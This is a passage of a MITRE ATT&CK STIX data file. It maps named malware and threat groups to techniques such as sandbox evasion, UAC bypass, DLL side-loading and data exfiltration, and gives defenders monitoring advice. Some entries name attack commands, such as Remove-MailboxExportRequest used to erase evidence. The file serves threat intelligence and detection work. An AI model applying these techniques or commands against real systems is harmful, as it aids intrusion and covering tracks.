Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2020-03-16T18:36:00.142Z","description":"[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.914Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-16T16:40:40.488Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can take screenshots.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a4664c1-47dd-4a4a-ab7b-0f64ec137a67","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.781Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has used DLL side-loading to load malicious payloads.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f56d72b4-f479-46e2-a766-41fcdd70d0d0","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c041b13-34d6-4da5-8a80-0dade355953d","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries.(Citation: SpectorOps Subverting Trust Sept 2017) Also analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017)\n\nOn macOS, the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this flag when performing updates.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a24f6ef-80e2-48b9-8f00-36ca4f59f191","type":"relationship","created":"2020-05-27T13:22:06.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-27T13:22:06.766Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the location, public IP address, and domain name on a compromised host.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d26abf6d-069b-4b7b-b408-cf9065ebef92","type":"relationship","created":"2019-01-31T02:01:45.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html","source_name":"FireEye Hacking FIN4 Dec 2014"},{"description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html","source_name":"FireEye Hacking FIN4 Video Dec 2014"}],"modified":"2020-03-17T01:16:36.113Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used HTTP POST requests to transmit data.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d758de81-c572-45dc-94ed-67a4dc1da3fe","type":"relationship","created":"2021-10-07T16:43:58.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:43:58.718Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used an executable to detect removable media, such as USB flash drives.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0439c736-6a78-4e89-9c55-6cc565b1b11f","type":"relationship","created":"2019-01-30T20:01:45.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2019-04-24T20:56:04.676Z","description":"[Denis](https://attack.mitre.org/software/S0354) has a command to delete files from the victim’s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--662f14ec-90c6-48f7-98c6-ba028ca38621","type":"relationship","created":"2021-06-21T17:02:17.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.368Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--719f0c42-8eb8-461b-8f35-cf5dfc42e47b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.623Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information on users.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9d9b5aa-f4d6-46fc-8831-21ca405ab8e5","type":"relationship","created":"2020-11-10T15:39:49.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T15:46:09.219Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ff84270-830f-4de8-b93c-4ee3a9a46781","type":"relationship","created":"2021-03-12T16:55:09.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-16T16:27:36.037Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021) ","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8fce83b-82ea-4eec-9bb2-ef2e9ad1985c","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cf506331-5caf-44a2-8020-34bbefda43eb","type":"relationship","created":"2019-04-16T16:08:49.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html","source_name":"FireEye TRITON 2019"}],"modified":"2019-04-29T18:59:16.413Z","description":"[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used compromised VPN accounts.(Citation: FireEye TRITON 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--12dcf7c0-4f6b-4eb1-9317-3337822ecbe1","type":"relationship","created":"2020-05-15T13:43:22.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.771Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) created new services for shellcode loaders distribution.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d8d1c202-705c-4c13-823c-ff622969d5b1","created":"2022-03-30T14:26:51.846Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","modified":"2022-04-20T03:18:21.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86a37939-7e17-4925-b0bb-5e84c9c53812","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor executed commands and arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97e042c8-f1fe-4980-bc08-86cb7c6e1fc9","type":"relationship","created":"2020-06-08T18:06:36.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.317Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the MAC address on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47deef6a-6f62-4cd7-9601-4edcd7c13125","type":"relationship","created":"2021-04-16T21:33:50.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-04-16T21:33:50.786Z","description":"[APT29](https://attack.mitre.org/groups/G0016) removed evidence of email export requests using <code>Remove-MailboxExportRequest</code>.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68dc04ee-ef1f-4ed4-a3eb-3232394543c3","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for files viewed in isolation that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://windowsitpro.com/windows/netexe-reference","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","source_name":"Savill 1999"}],"modified":"2020-03-19T13:11:25.551Z","description":"The <code>net start</code> and <code>net stop</code> commands can be used in [Net](https://attack.mitre.org/software/S0039) to execute or stop Windows services.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acf05380-4076-43b2-8863-257272ed0f79","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","source_name":"McAfee Honeybee"}],"modified":"2020-04-16T19:41:40.704Z","description":"[Honeybee](https://attack.mitre.org/groups/G0072) performs data exfiltration is accomplished through the following command-line command: <code>from <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt</code>.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d1a9167-94a9-41bf-b234-5b4bccfa970c","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94ed6275-8583-46e6-bd0c-d7253ef9a2ef","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (ex: JScript.dll or 